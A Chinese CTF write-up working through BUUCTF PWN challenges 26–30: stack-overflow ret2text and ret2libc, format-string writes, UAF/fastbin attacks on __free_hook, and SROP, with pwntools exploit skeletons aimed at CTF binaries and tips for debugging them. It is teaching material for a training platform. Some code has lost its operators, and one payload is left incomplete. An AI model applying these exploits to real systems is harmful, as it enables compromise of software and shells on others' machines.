
前几天一口气把BUUCTF的PWN刷到第26-30题趁热乎整理这篇wp。这一批题不算难但刚好把栈溢出、格式化字符串、堆利用这几个PWN入门必考的考点串起来了尤其对我这种老是卡在“知道漏洞但构造不出exp”的人来说非常有复习价值。文章里我不会只贴答案而是把每道题的漏洞点、为什么要这么写payload以及本地调不通的坑都摊开讲适合刚刷到这个位置、想系统过一遍PWN基础的同学对着实践。我刷题的环境是Ubuntu 20.04 pwntools gdb插件用的pwndbg IDA Pro。如果你手头环境不一样exp里的大部分写法也能通用只要注意glibc版本差异就行。1. 五道题的整体选型与通用解题流程1.1 这一批题到底在考什么从题目类型上看第26到第30题非常像是一条专门为入门玩家设计的进阶路线。前几道还是典型的栈溢出后两道开始接触动态链接库泄漏和系统调用最后一题甚至可以用SROP去做。整体难度坡度控制得比较好不会像第1、2题那样直接给后门但也不会一上来就让你做完整的堆风水。具体来说这五道题的考点分布大约是第一类经典ret2text栈上缓冲区溢出程序里预留了后门函数。第二类ret2libc没有后门需要先泄漏libc地址再拼接ROP链。第三类格式化字符串漏洞能读栈、写任意地址改控制流。第四类堆利用中的UAF或double free需要理解chunk释放后的状态。第五类利用系统调用构造execve典型做法是SROP。这种设置其实很聪明因为每换一次姿势都会逼着你去看漏洞的本质。比如ret2libc看起来和ret2text很像但多了一个“地址随机化”的变量你就必须理解GOT/PLT和libc基址。格式化字符串题看似简单但%n写任意地址时对栈布局和字节长度的控制反而最考验耐心。1.2 PWN通用解题流程拿到题先别急着写exp我见过不少新手拿到一个二进制文件就迫不及待开IDA看两眼main就开写exp。真不建议这么干尤其在BUUCTF这种平台上题目附件一般都很标准完全可以按固定的流程走用file ./pwn确认文件架构和位数别把32位程序当64位做。用checksec ./pwn看保护CANARY、NX、PIE、RELRO这四个保护直接决定你的利用姿势。先运行一遍程序观察交互逻辑。很多题目用sendlineafter会比send稳这个习惯要养好。再用IDA打开定位到read、gets、printf这类危险函数附近确定缓冲区大小和漏洞触发点。根据漏洞类型决定利用原语栈溢出就想ret到哪格式化字符串就想%n写哪堆题就想怎么构造chunk。最后才是写exp。写exp的时候一定要“小步验证”先本地打通再打远程。这套流程如果每次刷题都过一遍后面遇到陌生题目会快很多。我这次刷26-30的时候最大的感受是题目本身的坑并不多很多时间其实浪费在“没按流程走”上。2. 考点逐个拆解漏洞定位与利用思路2.1 考点一经典ret2text栈溢出这一批题里第一道就是典型的ret2text。程序在栈上定义了一个很小的缓冲区然后用read或gets往里面读入一大段数据直接造成溢出。更关键的是程序里有一个没有被调用的后门函数函数内部会执行system(/bin/sh)。所以整道题的思路非常简单覆盖返回地址让它跳到后门函数。这里最核心的是偏移计算。很多人喜欢自己数A的个数数错一次就浪费一次调试时间。我更推荐用cyclicgdb ./pwn pattern create 200 run # 程序崩溃后查看rsp的值 pattern offset $rsp比如输出88说明从缓冲区起始位置到返回地址一共是88字节。那么payload就很直接from pwn import * p process(./pwn) payload bA * 88 p64(backdoor_addr) p.sendlineafter(binput:, payload) p.interactive()这题有两个新手容易忽略的细节。第一64位程序里如果后门函数末尾没有正常的栈平衡直接覆盖返回地址跳过去一般没问题但如果后门函数内部用了栈变量可能因为栈不对齐而崩溃。这时候可以在后门地址前面补一个ret。第二sendlineafter比sleep加send要稳因为交互有提示词直接等到提示符出现再发送不会出现数据早发丢包的情况。2.2 考点二ret2libc泄漏libc第二道题复杂度上了一档。程序同样存在栈溢出但可用的后门函数没了system也不在程序里。这时候就要靠动态链接泄漏libc地址。利用思路分两步第一次溢出通过PLT调用puts把某个GOT表项的内容打印出来然后返回main第二次溢出用算出来的libc基址去调system(/bin/sh)。这里需要找一个“传参”的gadget。64位程序前六个参数依次放在rdi、rsi、rdx、rcx、r8、r9所以要用pop rdi; ret把第一个参数传进rdi。找gadget用ROPgadget一行命令就行ROPgadget --binary ./pwn | grep pop rdiexp骨架如下from pwn import * context.arch amd64 context.log_level error elf ELF(./pwn) p process(./pwn) pop_rdi 0x4007c3 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] payload1 bA * 88 payload1 p64(pop_rdi) p64(puts_got) payload1 p64(puts_plt) p64(main_addr) p.sendlineafter(binput:, payload1) leak p.recvline().strip().ljust(8, b\x00) puts_addr u64(leak)拿到puts_addr之后一定要确认libc版本。如果题目没给libc文件可以用LibcSearcher或者在线libc-database去匹配。这个匹配过程有时候很玄学因为同一个puts地址在不同发行版里可能对应多个libc版本。我一般是把puts_addr 0xfff低12位记下来再结合题目的操作系统特征去筛能快速缩小范围。算完基址后第二次payloadlibc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) payload2 bA * 88 payload2 p64(ret_addr) # 栈对齐用可选 payload2 p64(pop_rdi) p64(binsh_addr) payload2 p64(system_addr) p.sendlineafter(binput:, payload2) p.interactive()这个ret_addr很容易被人忽略。很多glibc版本里system函数内部会用到movaps指令这条指令要求栈地址必须16字节对齐否则直接段错误。解决办法就是在ROP链最前面塞一个ret微调栈顶位置让执行到system的时候栈是对齐的。2.3 考点三格式化字符串写内存第三道题漏洞很明确程序里直接printf(buf)没有指定格式字符串。这类题能读栈也能写栈%p泄漏地址%n把已经输出的字节数写入指定地址。通常做法有两种思路思路一是改返回地址让程序跳转到后门函数。思路二是改GOT表项把某个函数的地址改成后门地址。更通用的做法是用pwntools的FmtStr和fmtstr_payload但最好先把原理搞明白。第一步永远是定位偏移。我在本地先输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p观察输出找到0x41414141出现的位置那个位置就是偏移。比如它出现在第6个%p那么参数偏移就是6。64位程序里格式化字符串参数的前几个在寄存器里后面的在栈上偏移位置和32位不一样必须实测。定位到偏移后如果要写返回地址需要先leak返回地址所在的位置这个一般来说把附近栈地址打印出来就能算。如果题目比较温柔后门函数是现成的可以直接用fmtstr_payloadfrom pwn import * context.arch amd64 p process(./pwn) payload fmtstr_payload(6, {target_addr: backdoor_addr}) p.sendline(payload)这里有个很实际的坑fmtstr_payload默认用%hn分两次写每次写2字节但如果目标地址的奇数偏移算错了写入结果会错位。我的经验是先本地跑一个“假目标”验证偏移或者干脆手动构造payload用%n分别写两个地址。手动构造虽然麻烦但能帮你彻底搞懂格式串的宽度控制。2.4 考点四UAF堆利用第四道题开始进入堆利用。这题是典型的UAF程序提供了new、edit、show、delete四个功能delete释放堆块之后没有把对应指针置空导致还可以继续对这个已释放的chunk进行读写。这类题目突破口很清晰想办法让一个伪造的chunk进入fastbin再申请回来实现任意地址写。常见的利用链是先申请两个大小相同的chunk比如chunk A和chunk B。释放A再释放A形成double free然后申请回A再申请回A得到两个指向同一块内存的指针。这时候用其中一个指针修改chunk的fd就可以把下一个分配的目标地址伪装到任意位置比如__free_hook或__malloc_hook。如果题目glibc版本比较老也可以利用unsorted bin泄漏libc地址释放一个较大的chunk它会进入unsorted bin它的fd和bk指针会指向main_arena附近用show功能把这两个指针打印出来就能算出libc基址。获得基址后把__free_hook改成system然后触发free(/bin/sh)即可getshell。这个过程中有一个很容易出错的点fastbin attack要求伪造的chunk size合法而且目标地址需要满足对齐要求。如果直接往__free_hook写经常会因为错位被检查拦下来。解决办法是用__free_hook - 0x10附近的地址并把对应的size字段伪造好。不要嫌麻烦payload里的size最好用gdb调试确认一遍再发远程。2.5 考点五SROP构造signal frame最后一题是纯系统调用题没有system也没有后门但程序里有read和syscall这两个关键gadget可以利用SROP来getshell。SROP的核心是伪造一个信号返回帧SigreturnFrame当程序执行syscall且rax15时内核会认为这是一个sigreturn系统调用然后从栈上读取完整的寄存器上下文把栈上的数据恢复到寄存器里。利用思路通常分两步。第一步通过一次read把SigreturnFrame写到栈上注意这次read的返回值要正好是15因为read会把读入的字节数放到raxrax15才能触发sigreturn。第二步当执行到syscall时内核把伪造的寄存器值恢复比如让rip指向syscallrdi指向/bin/sh的地址rsi0rdx0rax59这样一次syscall就变成了execve(/bin/sh, 0, 0)。pwntools里有现成的类可以构造from pwn import * context.arch amd64 elf ELF(./pwn) syscall_addr 0x400517 read_plt elf.plt[read] binsh_addr elf.symbols[buf] # 或者栈上布局计算出来的地址 frame SigreturnFrame() frame.rip syscall_addr frame.rax 59 frame.rdi binsh_addr frame.rsi 0 frame.rdx 0 payload bA * offset payload p64(read_plt) payload p64(syscall_addr) payload bytes(frame) p.send(payload)SROP最容易翻车的地方是binsh_addr的确定。如果/bin/sh字符串是自己写进栈里的那地址必须通过leak栈地址来算。一般可以先调用write把栈上的某个返回地址打出来然后减去偏移得到栈基址再拼出字符串位置。实际调试时我会在gdb里先vmmap看栈范围然后用search /bin/sh确认地址避免因为栈偏移算错导致远程失败。3. 实操过程与关键exp实现3.1 环境准备与工具链这次刷题前我重新整理了一套环境。系统是Ubuntu 20.04Python 3.9pwntools用最新版本。gdb插件从peda换成了pwndbg因为pwndbg对堆的展示更好尤其做UAF时能直接看chunk状态。除了常用工具我还装了one_gadget和ROPgadget一个用来找execve的one gadget一个用来找ROP gadget。如果本机glibc版本和题目不匹配强烈建议用docker。我见过太多人在本地打通了远程一打就崩最后发现是libc版本不一致。比如同样的__free_hook偏移在2.23和2.27里完全不一样。BUUCTF大部分题默认用的还是老libc你本机的2.31大概率会对不上。题目标签里如果给了libc附件直接用LD_PRELOAD加载对应libc调试LD_PRELOAD./libc.so.6 ./pwn这样能最大程度还原远程环境。还有一点pwntools的context.log_level建议设成debug。遇到remote连不上或者本地通了远程不通时开debug能看清发送和接收的完整流量。我之前经常因为没开debug忽略了程序在泄漏地址后还有一行输出没处理导致后续recv读错位。3.2 五道题的核心exp片段下面挑三个有代表性的exp核心片段分享。第一个是ret2libc第二个是格式化字符串手写payload第三个是SROP。ret2libc的完整exp前面已经写了这里补充一个细节泄漏地址后如果puts输出的字符串是\x00开头可能recvline会截断所以要ljust(8, b\x00)再u64。这个我栽过一次远程打不通就是因为没做补零。格式化字符串手写payload的片段from pwn import * context.arch amd64 p process(./pwn) # 偏移已经实测为6 # 目标把返回地址改成后门地址 # 分两次写先写低4字节再写高4字节 backdoor 0x4006f2 offset 6 payload b payload p64(0x601030) # 返回地址低4字节位置 payload p64(0x601032) # 返回地址高4字节位置 # %hn写入 # 计算需要输出的字节数用 %numc 控制 ...手写的时候有一个小技巧%hn一次只能写2字节所以地址要按2字节拆分并且注意%hn的计数是从当前已经输出的字符数开始的所以后续宽度要减去前面的长度。第一次写0x06f2第二次写0x0040类似的组合必须算清楚。SROP的exp片段上面也写了。实际操作时如果不确定SigreturnFrame的字段对不对可以在gdb里b *syscall_addr然后查看栈上的frame数据。重点看rip和rax字段是否被正确布局到目标偏移。只要这两处对了基本就能getshell。4. 常见问题与排查技巧实录4.1 我踩过的五个典型坑这次刷题让我印象最深的是以下几个坑如果你也是刷到26-30位置的新手应该能感同身受。第一个坑是偏移算错。用cyclic会很快但我一开始习惯数A的个数结果遇到带canary的题就彻底乱了。建议以后一律用cyclic别信任自己的数数能力。第二个坑是64位程序没做栈对齐。ret2libc那题我本地每次到system附近就崩gdb里看是movaps问题。后来补了一个ret就通了。如果遇到本地崩溃但不知道原因先试试在payload最前面加一个大地址的retgadget。第三个坑是格式化字符串的偏移问题。32位和64位的偏移不一样甚至同一个程序不同调用路径下偏移也可能不一样。别偷懒每次都用AAAA%p.%p.%p...实测。第四个坑是libc版本匹配失败。远程打不通大概率是libc版本搞错了。遇到这种情况优先找题目附件里的libc找不到再用LibcSearcher并且多试几组可能的偏移。第五个坑是堆题里fastbin的size校验。UAF那题我一开始直接往__free_hook写结果被拒绝分配。后来改成写__free_hook - 0x10并伪造好size字段才通过。记住fastbin attack不是简单的任意地址写目标地址处必须有合法的size。4.2 快速排查速查表下面这个表是我刷题时经常对照的可以帮你快速定位问题。现象可能原因解决思路本地一运行就段错误偏移算错 / 栈未对齐用cyclic重新测偏移加ret gadget对齐泄漏地址里没有libc地址GOT表项选错 / 参数传递错误检查pop rdi; ret是否用的是该程序地址用putsgot格式化字符串写了没效果偏移不对 / 写入长度算错用AAAA%p重新定位偏移检查%hn宽度堆题malloc报错退出fastbin size不合法 / 目标地址未对齐伪造size字段尝试目标地址减0x10本地通远程不通libc版本不一致 / 交互时序不对用题目libc开debug看收发流量SROP执行后直接崩溃frame布局不对 / rax不是15gdb断点看栈上frame偏移检查第一次read字节数排查的时候可以记住一条原则控制台里的报错信息永远比直觉可靠。尤其是python的pwnlib.util输出它已经把错误封装得很具体了先读报错再改代码不要反复试错。5. 写在最后的个人体会刷完这五道题之后我最大的感觉是PWN入门阶段的“知识树”其实很清晰栈溢出是基础ROP是手段格式化字符串是技巧堆利用是进阶SROP是思维转换。这个过程里最不值得做的就是背payload。因为同一种漏洞在不同保护组合下的写法千差万别只有理解了每一步在做什么才能快速变通。我个人以后刷题会多留一点时间在“复盘”上而不是一味追求打通多少个题。比如格式化字符串那题后来我把自动fmtstr_payload生成的payload拆开看了一遍才彻底明白为什么地址要分两次写。这种收获比单纯打通一道题更值。如果你也刷到26-30这一段卡住的时候不妨慢下来用gdb一步步看栈和堆的变化比盲目猜偏移要有用得多。